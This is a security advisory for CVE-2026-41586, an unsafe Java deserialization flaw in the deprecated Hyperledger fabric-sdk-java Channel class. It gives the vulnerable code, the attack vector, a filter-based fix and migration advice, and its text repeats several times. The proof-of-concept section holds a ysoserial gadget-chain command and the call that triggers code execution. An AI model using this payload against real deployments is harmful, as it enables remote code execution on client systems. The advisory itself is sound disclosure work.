CVE-2026-41586

Hyperledger Fabric is an enterprise-grade permissioned distributed ledger framework for developing solutions and applications. From versions 1.0.0 to 2.2.26, Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is a classic Java deserialization RCE pattern. At time of publication, there are no publicly available patches.

Hyperledger Fabric is an enterprise-grade permissioned distributed ledger framework for developing solutions and applications. From versions 1.0.0 to 2.2.26, Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is a classic Java deserialization RCE pattern. At time of publication, there are no publicly available patches.

Summary

This advisory covers the deprecated fabric-sdk-java client SDK. Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is the classic Java deserialization RCE pattern.

Note: fabric-sdk-java is deprecated and maintained in https://github.com/hyperledger/fabric-sdk-java. Filing here as that repo does not have private vulnerability reporting enabled.

Affected Code

// src/main/java/org/hyperledger/fabric/sdk/Channel.java
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();  // No ObjectInputFilter configured
}

public Channel deSerializeChannel(byte[] channelBytes)
        throws IOException, ClassNotFoundException, InvalidArgumentException {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(channelBytes));
    Channel channel = (Channel) ois.readObject();  // Untrusted bytes deserialized
    return channel;
}

Attack Vector

An attacker who can supply crafted serialized Channel bytes to the client application — for example, by compromising a local channel file, injecting data through an application that accepts Channel bytes from external sources, or exploiting a separate write primitive — can achieve RCE via gadget chain exploitation when deSerializeChannel() processes those bytes. The risk is highest in deployments that accept Channel data from sources outside the client's direct control. Note: channel data is not transmitted from Fabric peers; this is a client-side deserialization surface.

Proof of Concept

// Generate malicious payload with ysoserial:
// java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > malicious_channel.ser

// Victim code:
byte[] maliciousBytes = Files.readAllBytes(Paths.get("malicious_channel.ser"));
Channel channel = client.deSerializeChannel(maliciousBytes);  // RCE fires here

Notes on Deprecation

fabric-sdk-java is deprecated as of Hyperledger Fabric v2.5 (replaced by org.hyperledger.fabric:fabric-gateway). However, organizations that have not yet migrated remain fully exposed. Automated dependency scanners (Snyk, Dependabot) cannot alert users without a published GHSA. This advisory is filed to ensure those users are notified and directed to migrate.

Fix

For the deprecated SDK: add ObjectInputFilter to whitelist only expected classes:

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "org.hyperledger.fabric.sdk.*;java.util.*;java.lang.*;!*"
);
ois.setObjectInputFilter(filter);

The recommended remediation is migration to org.hyperledger.fabric:fabric-gateway, which does not use Java serialization.

Resources

• CWE-502: Deserialization of Untrusted Data
• Migration guide: https://hyperledger.github.io/fabric-gateway/

Credits

Found by Martin Brodeur (brodmart) via independent security research.

Hyperledger Fabric is an enterprise-grade permissioned distributed ledger framework for developing solutions and applications. From versions 1.0.0 to 2.2.26, Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is a classic Java deserialization RCE pattern. At time of publication, there are no publicly available patches.

Summary

This advisory covers the deprecated fabric-sdk-java client SDK. Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is the classic Java deserialization RCE pattern.

Note: fabric-sdk-java is deprecated and maintained in https://github.com/hyperledger/fabric-sdk-java. Filing here as that repo does not have private vulnerability reporting enabled.

Affected Code

// src/main/java/org/hyperledger/fabric/sdk/Channel.java
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();  // No ObjectInputFilter configured
}

public Channel deSerializeChannel(byte[] channelBytes)
        throws IOException, ClassNotFoundException, InvalidArgumentException {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(channelBytes));
    Channel channel = (Channel) ois.readObject();  // Untrusted bytes deserialized
    return channel;
}

Attack Vector

An attacker who can supply crafted serialized Channel bytes to the client application — for example, by compromising a local channel file, injecting data through an application that accepts Channel bytes from external sources, or exploiting a separate write primitive — can achieve RCE via gadget chain exploitation when deSerializeChannel() processes those bytes. The risk is highest in deployments that accept Channel data from sources outside the client's direct control. Note: channel data is not transmitted from Fabric peers; this is a client-side deserialization surface.

Proof of Concept

// Generate malicious payload with ysoserial:
// java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > malicious_channel.ser

// Victim code:
byte[] maliciousBytes = Files.readAllBytes(Paths.get("malicious_channel.ser"));
Channel channel = client.deSerializeChannel(maliciousBytes);  // RCE fires here

Notes on Deprecation

fabric-sdk-java is deprecated as of Hyperledger Fabric v2.5 (replaced by org.hyperledger.fabric:fabric-gateway). However, organizations that have not yet migrated remain fully exposed. Automated dependency scanners (Snyk, Dependabot) cannot alert users without a published GHSA. This advisory is filed to ensure those users are notified and directed to migrate.

Fix

For the deprecated SDK: add ObjectInputFilter to whitelist only expected classes:

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "org.hyperledger.fabric.sdk.*;java.util.*;java.lang.*;!*"
);
ois.setObjectInputFilter(filter);

The recommended remediation is migration to org.hyperledger.fabric:fabric-gateway, which does not use Java serialization.

Resources

• CWE-502: Deserialization of Untrusted Data
• Migration guide: https://hyperledger.github.io/fabric-gateway/

Credits

Found by Martin Brodeur (brodmart) via independent security research.

Hyperledger Fabric is an enterprise-grade permissioned distributed ledger framework for developing solutions and applications. From versions 1.0.0 to 2.2.26, Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is a classic Java deserialization RCE pattern. At time of publication, there are no publicly available patches.

Hyperledger Fabric is an enterprise-grade permissioned distributed ledger framework for developing solutions and applications. From versions 1.0.0 to 2.2.26, Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is a classic Java deserialization RCE pattern. At time of publication, there are no publicly available patches.

Hyperledger Fabric is an enterprise-grade permissioned distributed ledger framework for developing solutions and applications. From versions 1.0.0 to 2.2.26, Channel.java implements readObject() and exposes deSerializeChannel() which call ObjectInputStream.readObject() on untrusted byte arrays without configuring an ObjectInputFilter. This is a classic Java deserialization RCE pattern. At time of publication, there are no publicly available patches.